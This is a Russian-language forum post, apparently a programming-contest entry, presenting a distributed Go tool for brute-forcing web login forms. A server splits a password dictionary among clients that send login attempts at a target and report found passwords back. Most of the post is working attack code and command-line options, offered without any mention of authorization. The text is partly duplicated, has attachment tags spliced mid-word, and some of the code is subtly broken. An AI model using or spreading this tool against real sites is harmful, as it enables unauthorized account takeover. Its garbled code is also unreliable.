Статья для участия в Конкурсе программистов
Моя первая тема, поехали:
Программа для брутфорса веб форм.
Суть программы в ее децентрализации. Вы сервер, запускаете программу, она загружает в память словарь, который вы передали в параметрах и готова отдавать части этого словаря всем подключениям к ней. Клиент, который подключается к серверу, знает только его ip адрес, все остальное сервер сообщит клиенту сам (цель, начало атаки, его часть словаря) . Части словаря сервер отдает равномерно, например если словарь 8 млн записей и помимо сервера есть активное соединение, то сервер отдаст 4 млн записей клиенту, а 4 млн, будет обрабатывать сам, если клиентов двое, то сервер отдаст каждому по 2 миллиона записей и 2 миллиона оставит себе.
Почему именно на golang?
Потому что мне нравится этот язык + на работе очень часто его используем, по этому я решил попрактиковаться на нем
Аргументы командной строки для программы:
В главной функции main мы получаем параметры и исходя из них выполняем функцию сервера или же клиента
И тут самое интересное
Запуск сервера. В горутине program у нас будет брутфорс со стороны сервера
Методы сервера:
info - когда один из клиентов находит предположительный пароль, то он отправляет его серверу по адресу /info
status - самый важный метод, он разделяет загруженный словарь и отдает его клиентам
joined - когда клиент присоединяется к серверу, он дергает этот метод, для того, чтобы сервер знал количество соединений с ним
unjoined - соответственно отключение клиента
Рассмотрим метод status
Тут мы заполняем структуру ServerResponse и генерируем пароль исходя из соединений с сервером.
Если количество соединений не изменилось, пароль по новому не генерируем, лишь отдает клиенту статус атаки, началась или не началась
Соответственно сам метод брутфорса, он один и для клиента и для сервера:
Тут мы просто посылаем запрос, исходя из переданных параметров
Работа клиента очень проста:
В бесконечном цикле, мы опрашиваем сервер, получаем свою часть паролей и запускаем метод bruteforce, рассмотренный выше
Результат работы программы:
Если вы запускаете на локальной машине используйте ngrok
Т.к. весь код находится в четырех файлах, то приведу ссылочку на GitHub страницу
Моя первая тема, поехали:
Программа для брутфорса веб форм.
Суть программы в ее децентрализации. Вы сервер, запускаете программу, она загружает в память словарь, который вы передали в параметрах и готова отдавать части этого словаря всем подключениям к ней. Клиент, который подключается к серверу, знает только его ip адрес, все остальное сервер сообщит клиенту сам (цель, начало атаки, его часть словаря) . Части словаря сервер отдает равномерно, например если словарь 8 млн записей и помимо сервера есть активное соединение, то сервер отдаст 4 млн записей клиенту, а 4 млн, будет обрабатывать сам, если клиентов двое, то сервер отдаст каждому по 2 миллиона записей и 2 миллиона оставит себе.
Почему именно на golang?
Потому что мне нравится этот язык + на работе очень часто его используем, по этому я решил попрактиковаться на нем
Аргументы командной строки для программы:
Код:
--mode=server или --mode=client - режим раб[ATTACH=full]24051[/ATTACH][ATTACH=full]24052[/ATTACH][ATTACH=full]24053[/ATTACH][ATTACH=full]24054[/ATTACH]оты программы, в роли сервера или в роли клиента
--p=3333 - порт на котором будет работать сервер
--t=http://example.com - если же вы собираетесь производить брут get запросами, то передавать
в этот параметр всю строку запроса, с паролем в виде переменной :password, например
http://example.com?index.php?username=admin&password=:password
--P - путь к файлу с паролями
--type=get или --type=post - какими запросами вы собираетесь брутфорсить форму
--LF - если же вы выбрали post запросы, то это название поля в запросе, содержащего логин
--PF - если же вы выбрали post запросы, то это название поля в запросе, содержащего пароль
--login - для какого логина вы собираетесь подбирать пароль
--stop - стоп слово, если это слово отсутствует в ответе на ваш запрос об автозирации на ресурсе, то пароль считать подобранным
--address - если программа работает в режиме клиента, то тут нужно указать адресс сервера и порт, на котором запущен сам сервер
В главной функции main мы получаем параметры и исходя из них выполняем функцию сервера или же клиента
C-подобный:
if *mode == "server" {
if *passwordPath == "none" {
fmt.Println("Password path (-P) not found")
return
}
if strings.ToLower(*requestType) != "get" && strings.ToLower(*requestType) != "post" {
fmt.Println("Request type (-type) not found")
return
}
server_mode(*port, *target, *login, *stop, *passwordPath, *requestType, *loginField, *passwordField)
return
}
if *mode == "client" {
client_mode(*serverAddress)
return
}
И тут самое интересное
Запуск сервера. В горутине program у нас будет брутфорс со стороны сервера
C-подобный:
fmt.Println("Starting server...")
http.HandleFunc("/info", info)
http.HandleFunc("/status", status)
http.HandleFunc("/joined", joined)
http.HandleFunc("/unjoined", unjoined)
go program()
err := http.ListenAndServe(fmt.Sprintf(":%d", port), nil)
if err != nil {
fmt.Println("Can't starting server")
fmt.Println(err)
return
}
Методы сервера:
info - когда один из клиентов находит предположительный пароль, то он отправляет его серверу по адресу /info
status - самый важный метод, он разделяет загруженный словарь и отдает его клиентам
joined - когда клиент присоединяется к серверу, он дергает этот метод, для того, чтобы сервер знал количество соединений с ним
unjoined - соответственно отключение клиента
Рассмотрим метод status
Тут мы заполняем структуру ServerResponse и генерируем пароль исходя из соединений с сервером.
Если количество соединений не изменилось, пароль по новому не генерируем, лишь отдает клиенту статус атаки, началась или не началась
C-подобный:
func status(response http.ResponseWriter, request *http.Request) {
var serverResponse ServerResponse
serverResponse.Attack = startAttack
serverResponse.Connection_count = connectCount
serverResponse.Target = target
serverResponse.Request_type = requestType
serverResponse.Login = login
serverResponse.Stop = stop
serverResponse.Login_field = loginField
serverResponse.Password_field = passwordField
requestConnectCount := request.URL.Query().Get("connect_count")
if fmt.Sprintf("%d", connectCount) == requestConnectCount {
responseText, err := json.Marshal(serverResponse)
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintf(response, string(responseText))
return
}
if len(passwordList)/connectCount != chunkSize {
generatedPasswordList = passwordList
chunkSize = len(passwordList) / connectCount
}
serverResponse.Password_list = generatedPasswordList[:chunkSize]
generatedPasswordList = generatedPasswordList[chunkSize:]
responseText, err := json.Marshal(serverResponse)
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintf(response, string(responseText))
}
Соответственно сам метод брутфорса, он один и для клиента и для сервера:
Тут мы просто посылаем запрос, исходя из переданных параметров
C-подобный:
func bruteforce(
target string,
method string,
login string,
password string,
loginField string,
passwordField string,
stop string,
) string {
var response *http.Response
var err error
if method == "POST" {
data := url.Values{}
data.Set(loginField, login)
data.Set(passwordField, password)
response, err = http.PostForm(target, data)
}
if method == "GET" {
response, err = http.Get(target)
}
if err != nil {
return ""
}
if response == nil {
return fmt.Sprintf("Error response with password %s", password)
}
defer response.Body.Close()
if response.StatusCode != 200 {
return fmt.Sprintf("Error status code: %d with password %s", response.StatusCode, password)
}
responseText, _ := charset.NewReader(response.Body, response.Header.Get("Content-type"))
text, _ := ioutil.ReadAll(responseText)
if strings.ContainsAny(string(text), stop) {
return ""
}
return password
}
Работа клиента очень проста:
В бесконечном цикле, мы опрашиваем сервер, получаем свою часть паролей и запускаем метод bruteforce, рассмотренный выше
C-подобный:
response, err := http.Get(address + "/status?connect_count=" + fmt.Sprintf("%d", connects))
if err != nil {
fmt.Println("Can't getting status server info")
break
}
body, err := ioutil.ReadAll(response.Body)
if len(body) <= 2 || err != nil {
time.Sleep(time.Second * 2)
continue
}
var data ServerRequest
json.Unmarshal(body, &data)
connects = data.Connection_count
target := data.Target
login := data.Login
loginField := data.Login
passwordField := data.Password_field
stop := data.Stop
requestType = data.Request_type
if data.Attack {
for _, password := range chunk {
result := bruteforce(target, requestType, login, password, loginField, passwordField, stop)
if result != "" {
fmt.Println(result)
http.Get(address + "/info?password=" + result)
}
}
break
}
if len(data.Password_list) == 0 {
continue
}
chunk = data.Password_list
fmt.Println("Getting data, size:", len(chunk))
time.Sleep(time.Second * 2)
}
Результат работы программы:
Если вы запускаете на локальной машине используйте ngrok
Т.к. весь код находится в четырех файлах, то приведу ссылочку на GitHub страницу
Ссылка скрыта от гостей
на исполняемый фаил линукса. Если у вас Windows, то программа отлично скомпилируется под него. Спасибо, что прочитали, всем добра.Вложения
Последнее редактирование модератором: